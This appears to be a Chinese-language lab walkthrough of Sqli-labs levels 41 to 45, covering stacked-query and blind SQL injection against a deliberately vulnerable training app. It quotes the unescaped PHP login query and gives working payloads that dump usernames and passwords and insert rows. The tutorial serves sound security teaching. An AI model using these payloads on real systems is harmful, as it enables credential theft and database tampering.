0x1普通测试方式

(1)输入and1=1和and1=2测试,返回错误,证明存在注入

SQL注入之Sqli-labs系列第四十一关(基于堆叠注入的盲注)和四十二关四十三关四十四关四十五关-LMLPHP

SQL注入之Sqli-labs系列第四十一关(基于堆叠注入的盲注)和四十二关四十三关四十四关四十五关-LMLPHP

(2)union select联合查询

SQL注入之Sqli-labs系列第四十一关(基于堆叠注入的盲注)和四十二关四十三关四十四关四十五关-LMLPHP

(3)查询表名

SQL注入之Sqli-labs系列第四十一关(基于堆叠注入的盲注)和四十二关四十三关四十四关四十五关-LMLPHP

(4)其他

payload:
union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')%23
union select 1,(select group_concat(username,password) from users)%23

0x2 堆叠注入方式

payload:
http://192.168.232.135/sqli-labs/Less-41/?id=1;insert into users values(105,'test1','test1')%23

SQL注入之Sqli-labs系列第四十一关(基于堆叠注入的盲注)和四十二关四十三关四十四关四十五关-LMLPHP

0x3 第四十二关

本关打开是post,新建用户和重置密码处都无法访问Update更新数据后,经过mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化。在select调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。

SQL注入之Sqli-labs系列第四十一关(基于堆叠注入的盲注)和四十二关四十三关四十四关四十五关-LMLPHP

(1)查看源码login.php,可以看出password参数没有经过过滤

$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);

   $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

(2)这样一来我们就可以直接在密码处做文章

随意输入用户名,密码如下:

a';insert into users values(106,'aaa','aaa')

SQL注入之Sqli-labs系列第四十一关(基于堆叠注入的盲注)和四十二关四十三关四十四关四十五关-LMLPHP

SQL注入之Sqli-labs系列第四十一关(基于堆叠注入的盲注)和四十二关四十三关四十四关四十五关-LMLPHP

0x4 第四十三关

与上面原理,不同的地方是闭合点不同

过滤点:
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"]; sql语句:
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

随意输入用户名,密码如下:

paload:
a');insert into users values(106,'aaa','aaa')%23

0x5 第四十四关

本关是基于盲注的,这里盲注主要是要没有报错信息,所以要采用盲注。这关与42关的区别就在于没有报错信息

过滤点:
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
sql语句:
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

随意输入用户名,密码如下:

paload:
a';insert into users values(107,'aaa','aaa')#

0X6 第四十五关

与四十三关的区别在于并没有报错信息,也就是基于盲注

payload:
a');insert into users values(108,'aaa','aaa')#
04-01 00:10